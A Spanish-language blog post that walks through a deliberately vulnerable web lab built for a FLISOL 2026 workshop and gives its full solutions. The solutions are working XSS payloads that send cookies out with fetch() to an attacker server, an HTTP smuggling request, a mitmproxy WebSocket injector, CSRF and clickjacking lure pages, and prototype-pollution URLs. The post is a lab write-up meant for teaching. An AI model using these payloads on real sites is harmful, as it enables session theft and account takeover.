El pasado 25 de abril tuve el honor de ser parte del Festival Latinoamericano de Instalación de Software Libre (FLISOL) en su edición Cochabamba 2026. El evento se desarrolló en la MEMI de la Universidad Mayor de San Simón (UMSS).

Lastimosamente, por errores de coordinación, no pude dar mi charla completa. Alcancé a explicar la parte teórica sobre, pero me quedé con el laboratorio que tenía preparado para el taller. El tiempo simplemente no alcanzó.

El laboratorio

Para poner en marcha el laboratorio, se creó un repositorio en GitHub donde se encuentran todos los recursos: Samres27/laboratorio_Flisol_2026_deploy. Se trata de un laboratorio con vulnerabilidades diseñado para el taller de la FLISOL. La carpeta contiene la siguiente estructura:

│   docker-compose.yml
│   Readme.md
│
├───mail_server
│   │   mailserver.env
│   │
│   ├───config
│   │       dovecot-quotas.cf
│   │       postfix-accounts.cf
│   │
│   └───docker-data
│       └───dms
│           └───config
│                   postfix-accounts.cf
│
└───xss
    └───haproxy
            haproxy.cfg

Para correr el laboratorio se necesita ejercutar el siguiente comando

docker compose up

Este comando desplegará cada contenedor. Se tiene un sitio web para XSS en el puerto 80 con HTTP, CSRF en el puerto 81 con HTTP, clickjacking en el 82 con HTTPS y, por último, DOM en el puerto 83 con HTTPS. Además, corren dos contenedores que sirven para ayudar a resolver los laboratorios: el primero es un cliente de correos en el puerto 1000 con HTTP, y el segundo es un servidor para subir las banderas en el puerto 1001 con HTTP.

XSS

El laboratorio ejecuta un servicio de compras de material deportivo. En este hay 5 rutas donde se puede explotar XSS: XSS reflejado, XSS almacenado, XSS reflejado en DOM, en el canal de WebSockets y, por último, mediante HTTP smuggling.

None
imagen del sitio web

CSRF

El sitio CSRF corre un servicio de blog, el cual tiene tres recursos explotables mediante CSRF: un control de token mal implementado, un control mediante cookie con Lax y, como último, un control mediante el encabezado Referrer.

None
imagen de servidor para blog

Clickjacking

En el puerto 82 corre un servicio de música donde se puede subir música. En este sitio hay que cambiar el correo de recuperación y eliminar una cuenta usando clickjacking.

None
imagen servidor de subida de musica

DOM

La vulnerabilidad de DOM corre un servidor en el puerto 83 para cursos. En este hay que aprovechar las funciones de mensaje que tiene el servidor y la contaminación de prototipos para explotar.

None
imagen servidor de cursos

Web email

El servidor de email corre en el puerto 1000 funciona para desplegar un email, el cual requiere crear una cuenta y también va a servir para enviar correo a los diferentes usuarios que tienen los laboratorios.

None
Login de correo

Servidor de banderas

Por último, tenemos el servidor donde se suben las banderas, en el puerto 1001. Este está distribuido por las diferentes categorías, con el usuario y el correo que tiene el servicio de mail.

None
Imagen de CTF panel

Como solucionar los laboratorios

Si su finalidad es resolver los laboratorios, puede dejar de leer el blog aquí. En caso de que se trabe en algún ejercicio, puede continuar leyendo.

XSS

El primer ejercicio se soluciona mediante el siguiente enlace:

http://127.0.0.1/error?message=%3Cimg%20src=x%20onerror=%22fetch(%27http://172.101.101.1:2709/?bandera1--%27%2Bdocument.cookie,{mode:%27no-cors%27})%22%3E

Aquí aprovechamos la función de error que tiene el sitio, donde permite manejar el texto dinámicamente mediante el parámetro. Aquí hacemos un fetch para llamar a un recurso inexistente, teniendo la cookie del sistema.

Para el servidor que vamos un servidor python con el modulo http.server usando esta configuracion 172.101.101.1 2709 tanto el payload como el servidor debe ser cambiado distinto al 127.0.0.1 para que no haya choques, puede crear una interfaz de red adiccional o usar una ip 172.16.0.0/12

python -m http.server -b 172.101.101.1 2709

ahora se lo enviamos a la victima mediante el servicio de correos

None
Envio de correo malicioso

Después de enviar el correo, el usuario ingresa al enlace y recibimos la solicitud en nuestro servidor.

None

Este va ser el primero pero todos los ejercicio se resuelven de la misma manera enviar al cliente un correo el cual la victima hace click

En segundo ejercicio se resulve con la siguiente carga util

http://127.0.0.1/shop/?search=%3C%3Cimg%20src=x%20onerror=%22fetch(%27http://172.101.101.1:2709?bandera2--%27%2Bdocument.cookie,{mode:%27no-cors%27})%22%3E%3E

Leyendo el html del sitio vemos que contiene 2 funciones interesantes, la primero con el windows.location.search lee los parametros buscando el valor de search. Y en la sanitacion del codigo esta mal implentado ya que solo busca la primera coincidencia de '<' y '>' para eliminarla.

None

Para el tercero ejercicio se resuelve con el siguiente payload

<img src=x onerror="fetch('http://172.101.101.1:2709?bandera3--'+document.cookie,{mode:'no-cors'})">

Se ingresa el payload como comentario en un producto

None

Para el cuarto ejercicio usare mitmproxy para poder modificar el contenido de los mensaje en websockets

from mitmproxy import http
import json

class WSModifier:
    def websocket_message(self, flow):
        if not flow.websocket or not flow.websocket.messages:
            return
        message = flow.websocket.messages[-1]
        try:
            if isinstance(message.content, bytes):
                content_str = message.content.decode('utf-8')
            else:
                content_str = message.content
            data = json.loads(content_str)
            if message.from_client:
                if "message" in data and "hack" in data["message"].lower():
                    data["message"] = data["message"].replace("hack", "<img src='x' onerror=\"fetch('http://172.101.101.1:2709?bandera4--'+document.cookie,{mode:'no-cors'})\">")
                    message.content = json.dumps(data, separators=(',', ':')).encode('utf-8')
          
                    
        except json.JSONDecodeError:
            f" No es JSON: {message.content}"
        except Exception as e:
            f" Error: {e}"

addons = [WSModifier()] 

En este caso tenemos este script, se modificará como la palabra "hack" cuando se ingresa. Es necesario hacer esto porque el código HTML sanitiza las entradas en el chat.

None
la funcion busca todos los valores de <> para borrarlos

Como podemos ver el script funciona correctamente. Nota: aqui yo uso un alias, pero al enviar a la victima usa http://127.0.0.1 al enviar a la victima

None
Envio del payload mediante websockets

Para el quinto ejercicio, aprovecharemos la vulnerabilidad de HTTP smuggling. La petición maliciosa es la siguiente.

POST / HTTP/1.1
Host: 127.0.0.1
foo:1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:148.0) Gecko/20100101 Firefox/148.0
Connection: keep-alive
Transfer-Encoding: chunked

0

GET / HTTP/1.1
User-Agent: "></div><img src=x onerror="fetch('http://172.101.101.1:2709/?bandera5--'+document.cookie,{mode:'no-cors'})">
sam:1

Como HTTP smuggling es delicado, adjunto una captura con los caracteres especiales "\r\n" en caso de que no se vea el salto de línea. Lo que sucede es que el servidor front lee el contenido y lo hace pasar con Content-Length; el servidor backend lee el contenido y lo interpreta mediante el Transfer-Encoding, de modo que son dos peticiones distintas. Esto provoca que procese ambas. Como la segunda está mal formada, se cuela en la siguiente petición HTTP y la redirige a la raíz '/'. Si no logra hacerlo funcionar, no se frustre: esta vulnerabilidad es muy técnica y es posible que esté enviando algo mal. Infórmese por otros recursos sobre cómo explotarla.

None

Con este paquete, hay que envenenar las solicitudes hasta que la víctima navegue al sitio y recupere la flag.

CRSF

Primer ejercicio vamos a usar una mala configuracion de token csrf por lo que primero hay que realizar un fuzzing para encontar un endpoint no documentado

None
Usamos ffuf para realizar fuzzing y encontrar posibles directorios

Si revisamos el resultado, tenemos dos rutas interesantes: la primera es /register y la segunda es /log. Accediendo a /log obtenemos el token CSRF del usuario mrodriguez.

None

El payload utilizado es el siguiente, este creara un post como si fueran el mrodriguez

<html>
<head>
  <title>Premio de participación — reclama tu regalo</title>
  <style>
    body { font-family: sans-serif; background: #1a1a2e; color: #eee;
           display: flex; justify-content: center; align-items: center; min-height: 100vh; }
    .card { background: #16213e; padding: 40px; border-radius: 12px; text-align: center; max-width: 420px; }
    h2 { color: #e94560; }
    .loader { margin: 20px auto; width: 40px; height: 40px;
              border: 4px solid #333; border-top-color: #e94560;
              border-radius: 50%; animation: spin 1s linear infinite; }
    @keyframes spin { to { transform: rotate(360deg); } }
  </style>
</head>
<body>
<div class="card">
  <h2>¡Verificando tu cuenta!</h2>
  <div class="loader"></div>
  <p>Por favor espera, estamos procesando tu solicitud…</p>
</div>

<form id="csrf-payload"
      action="http://127.0.0.1:81/post/create"
      method="POST"
      style="display:none">
<input type="hidden" name="csrf_token" value="1620b473580a832ade058d0e94aec13ec88274271d86d77b4e6d021ce0578dd7">
  
  <input type="hidden" name="title"     value="[CSRF #1] Post inyectado con token robado">
  <input type="hidden" name="body"  id="body_text"     value="Este post fue creado mediante CSRF usando un token estático obtenido de la sesión. El token nunca rota, por lo que puede reutilizarse indefinidamente. Vulnerabilidad: defensa por token implementada con política de rotación inexistente.">
  <input type="hidden" name="published" value="1">
</form>

<script>
  document.getElementById("body_text").value += " - Cookies: " + document.cookie;
  window.onload = () => document.getElementById('csrf-payload').submit();
</script>
</body>
</html>

Al enviar esta url mediante el servicio de correo a la victima

http://172.101.101.1:2709/exploit_static_token.html

El sitio crea el post y luego envia la flag en otro post

None

En el segundo ejercicio se usara el payload, aqui hay que cambiar el post_id al valor, por lo general sera el 1 pero en este caso es 2

<html>
<head><title>Recurso compartido</title></head>
<body>
<p>Cargando...</p>
<script>
  const POST_ID = 2; 
  setTimeout(() => {
    window.location = `http://127.0.0.1:81/post/delete/${POST_ID}`;
  }, 500);
</script>
</body>
</html>

En el tercer ejercicio se muestra el control del referrer, pero tiene una mala configuración, por lo que se pasará como parámetro del sitio. Aquí usamos la metaetiqueta unsafe-url para poder modificar el historial de sitios visitados.

<!DOCTYPE html>

<html>
<head>
  <meta name="referrer" content="unsafe-url">
  <title>Comparte tu contenido</title>
  <style>
    body { background: #0f172a; color: #94a3b8; font-family: monospace;
           display: flex; justify-content: center; align-items: center; min-height: 100vh; }
    .box { border: 1px solid #1e293b; border-radius: 8px; padding: 32px;
           max-width: 400px; text-align: center; background: #1e293b; }
    .title { color: #38bdf8; font-size: 18px; margin-bottom: 12px; }
    .sub   { color: #64748b; font-size: 12px; }
    .bar   { height: 3px; background: #0f172a; border-radius: 2px; margin: 20px 0; overflow: hidden; }
    .fill  { height: 100%; background: #38bdf8; width: 0;
             animation: load 1.5s ease forwards; }
    @keyframes load { to { width: 100%; } }
  </style>
</head>
<body>
<div class="box">
  <div class="title">Distribuyendo tu post…</div>
  <div class="bar"><div class="fill"></div></div>
  <div class="sub">Enviando a la red de distribución de contenido</div>
</div>


<script>
  const POST_ID = 1; 
  window.onload = function() {
 history.pushState("","","?localhost")
 document.location=`http://127.0.0.1:81/post/toggle/${POST_ID}`
  };
</script>
</body>
</html>

Clickjacking

El primer ejercicio vamos a modificar el correo de recuperacion mediante el siguiente html. En este primer ejeccio la finalidad es que el usuario haga un click.

<!DOCTYPE html>
<html lang="es">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>🎵 SoundWave — ¡Ganaste acceso Premium!</title>
  <link href="https://fonts.googleapis.com/css2?family=Syne:wght@700;800&family=Outfit:wght@400;500;600&display=swap" rel="stylesheet">
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

    :root {
      --bg:      #0d0d0d;
      --surface: #161616;
      --border:  #2a2a2a;
      --text:    #f0f0f0;
      --muted:   #666;
      --green:   #00e676;
      --yellow:  #ffd740;
    }

    body {
      background: var(--bg);
      color: var(--text);
      font-family: 'Outfit', sans-serif;
      min-height: 100vh;
      overflow-x: hidden;
    }

    /* NAV */
    nav {
      display: flex;
      align-items: center;
      justify-content: space-between;
      padding: 18px 40px;
      border-bottom: 1px solid var(--border);
      position: relative;
      z-index: 10;
    }
    .nav-logo {
      font-family: 'Syne', sans-serif;
      font-size: 1.3rem;
      font-weight: 300;
      letter-spacing: -.02em;
    }
    .nav-logo span { color: var(--green); }
    .nav-links {
      display: flex;
      gap: 28px;
      font-size: .85rem;
      color: var(--muted);
      list-style: none;
    }
    .nav-links li { cursor: pointer; transition: color .2s; }
    .nav-links li:hover { color: var(--text); }
    .nav-btn {
      background: var(--green);
      color: #000;
      border: none;
      padding: 8px 20px;
      border-radius: 99px;
      font-family: 'Outfit', sans-serif;
      font-size: .82rem;
      font-weight: 600;
      cursor: pointer;
    }

    /* HERO */
    .hero {
      text-align: center;
      padding: 52px 20px 20px;
      position: relative;
      z-index: 10;
    }
    .badge {
      display: inline-flex;
      align-items: center;
      gap: 6px;
      background: rgba(0,230,118,.1);
      border: 1px solid rgba(0,230,118,.25);
      color: var(--green);
      font-size: .75rem;
      font-weight: 600;
      letter-spacing: .08em;
      text-transform: uppercase;
      padding: 5px 14px;
      border-radius: 99px;
      margin-bottom: 20px;
    }
    .badge::before { content: '●'; font-size: .5rem; animation: pulse 1.5s infinite; }
    @keyframes pulse { 0%,100%{opacity:1} 50%{opacity:.3} }

    h1 {
      font-family: 'Syne', sans-serif;
      font-size: clamp(2rem, 5vw, 3rem);
      font-weight: 800;
      line-height: 1.1;
      letter-spacing: -.03em;
      margin-bottom: 14px;
    }
    h1 em { color: var(--yellow); font-style: normal; }

    .hero-sub {
      color: var(--muted);
      font-size: .95rem;
      max-width: 460px;
      margin: 0 auto 32px;
      line-height: 1.6;
    }

    /* ALERT BOX */
    .alert {
      display: inline-flex;
      align-items: flex-start;
      gap: 12px;
      background: rgba(255,215,64,.07);
      border: 1px solid rgba(255,215,64,.2);
      border-radius: 10px;
      padding: 14px 20px;
      max-width: 500px;
      margin: 0 auto 40px;
      text-align: left;
      font-size: .85rem;
      line-height: 1.5;
      color: #ccc;
    }
    .alert-icon { font-size: 1.2rem; flex-shrink: 0; margin-top: 1px; }
    .alert strong { color: var(--yellow); }

    /* STAGE — contiene el iframe + decoy sin moverlos */
    .stage {
      position: relative;
      width: 1000px;
      height: 800px;
      top: -300px;
      margin: 0 auto;
    }

    /* DECOY — posición original intacta */
    .decoy_website {
      position: absolute;
      width: 1000px;
      height: 800px;
      z-index: 1;
    }

    /* IFRAME — posición original intacta */
    .target_website {
      position: relative;
      width: 1000px;
      height: 400px;
      opacity: 0.1;
      z-index: 2;
    }

    /* Decoy button styling */
    .decoy_website a {
      display: inline-block;
      background: linear-gradient(135deg, var(--yellow), #ff8f00);
      color: #000;
      font-family: 'Syne', sans-serif;
      font-weight: 100;
      font-size: 1rem;
      padding: 10px 22px;
      border-radius: 8px;
      text-decoration: none;
      letter-spacing: -.01em;
      box-shadow: 0 0 30px rgba(255,215,64,.3);
      animation: glow 2s ease-in-out infinite;
    }
    @keyframes glow {
      0%,100% { box-shadow: 0 0 20px rgba(255,215,64,.3); }
      50%      { box-shadow: 0 0 40px rgba(255,215,64,.6); }
    }

    /* FOOTER */
    footer {
      text-align: center;
      padding: 28px;
      color: var(--muted);
      font-size: .75rem;
      border-top: 1px solid var(--border);
      position: relative;
      z-index: 10;
    }
    footer a { color: var(--muted); text-decoration: underline; }

    /* BG noise */
    body::before {
      content: '';
      position: fixed;
      inset: 0;
      background-image: url("data:image/svg+xml,%3Csvg viewBox='0 0 200 200' xmlns='http://www.w3.org/2000/svg'%3E%3Cfilter id='n'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='0.9' numOctaves='4' stitchTiles='stitch'/%3E%3C/filter%3E%3Crect width='100%25' height='100%25' filter='url(%23n)' opacity='0.03'/%3E%3C/svg%3E");
      pointer-events: none;
      z-index: 0;
      opacity: .4;
    }
  </style>
</head>

<body>

  <nav>
    <div class="nav-logo">Sound<span>Wave</span></div>
    <ul class="nav-links">
      <li>Descubrir</li>
      <li>Charts</li>
      <li>Artistas</li>
      <li>Premium</li>
    </ul>
    <button class="nav-btn">Iniciar sesión</button>
  </nav>

  <div class="hero">
    <div class="badge">Oferta por tiempo limitado</div>
    <h1>¡Felicidades!<br>Ganaste <em>3 meses gratis</em></h1>
    <p class="hero-sub">
      Fuiste seleccionado para recibir acceso Premium sin costo. 
      Solo confirma tu correo de notificaciones y activa tu recompensa.
    </p>

    <div class="alert">
      <span class="alert-icon"></span>
      <div>
        <strong>Acción requerida:</strong> Para activar tu premio debes confirmar
        tu correo de contacto haciendo clic en el botón <strong>"Activar Premio"</strong> a continuación.
        Esta oferta expira en <strong>10 minutos</strong>.
      </div>
    </div>
  </div>

  <!-- STAGE: wrapper visual, iframe y decoy sin modificar -->
  <div class="stage">

    <div id="decoy_website" class="decoy_website">
      <a href="#" style="position: absolute; top: 322px; left: 853px; width: 75px; height: 40px;">Click</a>
    </div>

    <iframe
      id="target_website"
      src="https://127.0.0.1:82/profile?email=samres@vulnlab.bo"
      class="target_website"
      sandbox="allow-forms allow-scripts allow-same-origin">
    </iframe>

  </div>

  <footer>
    © 2026 SoundWave Inc. · <a href="#">Términos</a> · <a href="#">Privacidad</a> · Todos los derechos reservados.
  </footer>

</body>
</html>

Si hay mucho CSS, pero es para que se vea mejor el sitio y creible, esto se veria como la siguiente imagen

None

Como ves, es un sitio bastante bonito. La idea es engañar al cliente para que ingrese al sitio y haga click para reclamar 3 meses gratis.

None
Uso del username que tenemos en el servidor de correo

Ahora la víctima ha cambiado su email al de samres; intentamos ingresar cambiando el correo.

None
El correo de cambio de contraseña nos llego

Ya enviado revisamos el servicio de correo cambimos el la contraseña del usuario e ingresamos.

None
Tenemos la bandera del reto

Para el segundo ejercicio la victima tiene que hacer 2 click para ver el sitio, en este sitio hay que realizar 2 click el primero siendo click y click2. Esto elimina el usuario.

<!DOCTYPE html>
<html lang="es">

<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <title>🎵 SoundWave — ¡Ganaste acceso Premium!</title>
  <link href="https://fonts.googleapis.com/css2?family=Syne:wght@700;800&family=Outfit:wght@400;500;600&display=swap"
    rel="stylesheet">
  <style>
    *,
    *::before,
    *::after {
      box-sizing: border-box;
      margin: 0;
      padding: 0;
    }

    :root {
      --bg: #0d0d0d;
      --surface: #161616;
      --border: #2a2a2a;
      --text: #f0f0f0;
      --muted: #666;
      --green: #00e676;
      --yellow: #ffd740;
    }

    body {
      background: var(--bg);
      color: var(--text);
      font-family: 'Outfit', sans-serif;
      min-height: 100vh;
      overflow-x: hidden;
    }

    /* NAV */
    nav {
      display: flex;
      align-items: center;
      justify-content: space-between;
      padding: 18px 40px;
      border-bottom: 1px solid var(--border);
      position: relative;
      z-index: 10;
    }

    .nav-logo {
      font-family: 'Syne', sans-serif;
      font-size: 1.3rem;
      font-weight: 300;
      letter-spacing: -.02em;
    }

    .nav-logo span {
      color: var(--green);
    }

    .nav-links {
      display: flex;
      gap: 28px;
      font-size: .85rem;
      color: var(--muted);
      list-style: none;
    }

    .nav-links li {
      cursor: pointer;
      transition: color .2s;
    }

    .nav-links li:hover {
      color: var(--text);
    }

    .nav-btn {
      background: var(--green);
      color: #000;
      border: none;
      padding: 8px 20px;
      border-radius: 99px;
      font-family: 'Outfit', sans-serif;
      font-size: .82rem;
      font-weight: 600;
      cursor: pointer;
    }

    /* HERO */
    .hero {
      text-align: center;
      padding: 52px 20px 20px;
      position: relative;
      z-index: 10;
    }

    .badge {
      display: inline-flex;
      align-items: center;
      gap: 6px;
      background: rgba(0, 230, 118, .1);
      border: 1px solid rgba(0, 230, 118, .25);
      color: var(--green);
      font-size: .75rem;
      font-weight: 600;
      letter-spacing: .08em;
      text-transform: uppercase;
      padding: 5px 14px;
      border-radius: 99px;
      margin-bottom: 20px;
    }

    .badge::before {
      content: '●';
      font-size: .5rem;
      animation: pulse 1.5s infinite;
    }

    @keyframes pulse {

      0%,
      100% {
        opacity: 1
      }

      50% {
        opacity: .3
      }
    }

    h1 {
      font-family: 'Syne', sans-serif;
      font-size: clamp(2rem, 5vw, 3rem);
      font-weight: 800;
      line-height: 1.1;
      letter-spacing: -.03em;
      margin-bottom: 14px;
    }

    h1 em {
      color: var(--yellow);
      font-style: normal;
    }

    .hero-sub {
      color: var(--muted);
      font-size: .95rem;
      max-width: 460px;
      margin: 0 auto 32px;
      line-height: 1.6;
    }

    /* ALERT BOX */
    .alert {
      display: inline-flex;
      align-items: flex-start;
      gap: 12px;
      background: rgba(255, 215, 64, .07);
      border: 1px solid rgba(255, 215, 64, .2);
      border-radius: 10px;
      padding: 14px 20px;
      max-width: 500px;
      margin: 0 auto 40px;
      text-align: left;
      font-size: .85rem;
      line-height: 1.5;
      color: #ccc;
    }

    .alert-icon {
      font-size: 1.2rem;
      flex-shrink: 0;
      margin-top: 1px;
    }

    .alert strong {
      color: var(--yellow);
    }

    /* STAGE — contiene el iframe + decoy sin moverlos */
    .stage {
      position: absolute;
      width: 1000px;
      height: 800px;
      top: 200px;
      margin: 0 auto;
    }

    /* DECOY — posición original intacta */
    .decoy_website {
      position: absolute;
      width: 1000px;
      height: 800px;
      z-index: 1;
    }

    /* IFRAME — posición original intacta */
    .target_website {
      position: relative;
      width: 1000px;
      height: 400px;
      opacity: 0.1;
      z-index: 999;
    }

    /* Decoy button styling */
    .decoy_website a {
      display: inline-block;
      background: linear-gradient(135deg, var(--yellow), #ff8f00);
      color: #000;
      font-family: 'Syne', sans-serif;
      font-weight: 800;
      font-size: 1rem;
      padding: 10px 22px;
      border-radius: 8px;
      text-decoration: none;
      letter-spacing: -.01em;
      box-shadow: 0 0 30px rgba(255, 215, 64, .3);
      animation: glow 2s ease-in-out infinite;
    }

    @keyframes glow {

      0%,
      100% {
        box-shadow: 0 0 20px rgba(255, 215, 64, .3);
      }

      50% {
        box-shadow: 0 0 40px rgba(255, 215, 64, .6);
      }
    }

    /* FOOTER */
    footer {
      text-align: center;
      padding: 28px;
      color: var(--muted);
      font-size: .75rem;
      border-top: 1px solid var(--border);
      position: relative;
      z-index: 10;
    }

    footer a {
      color: var(--muted);
      text-decoration: underline;
    }

    /* BG noise */
    body::before {
      content: '';
      position: fixed;
      inset: 0;
      background-image: url("data:image/svg+xml,%3Csvg viewBox='0 0 200 200' xmlns='http://www.w3.org/2000/svg'%3E%3Cfilter id='n'%3E%3CfeTurbulence type='fractalNoise' baseFrequency='0.9' numOctaves='4' stitchTiles='stitch'/%3E%3C/filter%3E%3Crect width='100%25' height='100%25' filter='url(%23n)' opacity='0.03'/%3E%3C/svg%3E");
      pointer-events: none;
      z-index: 0;
      opacity: .4;
    }
  </style>
</head>
<body>
  <nav>
    <div class="nav-logo">Sound<span>Wave</span></div>
    <ul class="nav-links">
      <li>Descubrir</li>
      <li>Charts</li>
      <li>Artistas</li>
      <li>Premium</li>
    </ul>
    <button class="nav-btn">Iniciar sesión</button>
  </nav>
  <div class="hero">
    <div class="badge">Oferta por tiempo limitado</div>
    <h1>¡Felicidades!<br>Ganaste <em>3 meses gratis</em></h1>
    <p class="hero-sub">
      Fuiste seleccionado para recibir acceso Premium sin costo.
      Solo confirma tu correo de notificaciones y activa tu recompensa.
    </p>    
    
  </div>

  <div class="stage">

    <div id="decoy_website" class="decoy_website">
      <a href="#" style="position: absolute; top: 256px; left: 84px;">Click</a>
      <a href="#" style="position: absolute; top: 215px; left: 536px;">Click2</a>
    </div>

    <iframe id="target_website" src="https://127.0.0.1:82/profile#delete_button" class="target_website"
      sandbox="allow-forms allow-scripts allow-same-origin">
    </iframe>

  </div>

</body>

</html>

El sitio es muy similar al anterior por lo que tiene que ver la siguiente manera.

None

DOM

Para primer ejercicio tenemos que configurar un servidor https, por lo que vamos a usar un servidor con certificados auto firmados

#!/usr/bin/env python3
"""
Servidor HTTPS con Flask que sirve archivos estáticos del directorio actual.
Uso: python flask_https_server.py -b 127.0.10.1 2709
"""

import argparse
import os
from flask import Flask, send_from_directory

app = Flask(__name__, static_folder='.')

@app.route('/')
@app.route('/<path:path>')
def serve_static(path=''):
    """Sirve cualquier archivo estático desde el directorio actual."""
    # Prevenir ataques de path traversal (solo sirve archivos dentro del directorio actual)
    if os.path.abspath(path).startswith(os.path.abspath('.')) or not path:
        return send_from_directory('.', path if path else 'index.html')
    return "Acceso denegado", 403

def main():
    parser = argparse.ArgumentParser(description='Servidor HTTPS con Flask')
    parser.add_argument('-b', '--bind', nargs=2, metavar=('HOST', 'PORT'),
                        help='Dirección y puerto donde escuchar (ej: -b 127.0.10.1 2709)')
    parser.add_argument('--cert', help='Archivo del certificado (pem)')
    parser.add_argument('--key', help='Archivo de la clave privada (pem)')
    parser.add_argument('--adhoc', action='store_true', help='Usar certificado autofirmado generado al vuelo')
    args = parser.parse_args()

    # Configurar host y puerto
    if args.bind:
        host, port = args.bind[0], int(args.bind[1])
    else:
        host, port = '127.0.0.1', 5000   # valores por defecto

    # Configurar SSL
    if args.cert and args.key:
        ssl_context = (args.cert, args.key)
    elif args.adhoc:
        ssl_context = 'adhoc'
    else:
        # Si no se especifica certificado, usamos adhoc por defecto
        print("No se especificó certificado. Usando 'adhoc' (certificado autofirmado en memoria).")
        ssl_context = 'adhoc'

    print(f"Iniciando servidor HTTPS en https://{host}:{port}")
    print(f"SIRVIENDO: {os.path.abspath('.')}")
    app.run(host=host, port=port, ssl_context=ssl_context, debug=False)

if __name__ == '__main__':
    main()

este script me da un servidor muy similar a http.server solo que esta autofirmado para https.

None

El codigo del sitio es el siguiente

<html>
<style>
    #target {
        width: 1270px;
        height: 900px;
    }
</style>

<iframe id="target" src="https://127.0.0.1:83/my-courses"></iframe>

<script>
    const iframe = document.getElementById("target");
    
    iframe.onload = () => {
        iframe.contentWindow.postMessage(
            JSON.stringify({
                name: "Marcos",
                nroInvite: "<img src=x onerror=\"fetch('https://172.101.101.1:2709/?bandera1--'+document.cookie,{mode:'no-cors'})\">",
                }),
            "*"
        );
    };
</script>
</html>

En el segundo ejercicio vamos a usar el siguiente codigo, en esta ruta hay un control de url por lo que el payload tiene un bypass para este sitio

<style>
    #target {
        width: 1270px;
        height: 900px;
    }
</style>

<iframe id="target" src="https://127.0.0.1:83/offers"></iframe>

<script>
    const iframe = document.getElementById("target");

    iframe.onload = () => {
        iframe.contentWindow.postMessage(
            "javascript:fetch('https://172.101.101.1:2709/?bandera2--'+document.cookie,{mode:'no-cors'})//http:",
            "*"
        );
    };
</script>

En el tercer ejercicio vamos a usar la vulnerabilidad de contaminación de prototipos (prototype pollution) de JavaScript. Primero tenemos el siguiente código. En este se puede ver que el sitio hace una consulta para ver si hay ofertas; en caso de que las haya, se ingresa un enlace para la oferta y un mensaje.

None

Para ver el otro recurso interesante tenemos el siguiente código. Este código por alguna razón hace que cualquier parámetro que se envíe se agregue a un objeto, pero aquí está el problema, no controla bien y el objeto puede ser __proto__, lo que es muy peligroso ya que permite modificar este objeto delicado.

None

Sabiendo esto la carga util es la siguiente:

https://127.0.0.1:83/testimonies?__proto__[haveOffers]=true&__proto__[message]=%3Cimg%20src=x%20onerror=%22fetch(%27https://172.101.101.1:2709/?bandera3--%27%2Bdocument.cookie%2B%27--%27,{mode:%27no-cors%27})%22%3E

Eso seria todo… 😊

Bueno a seguir aprendiendo…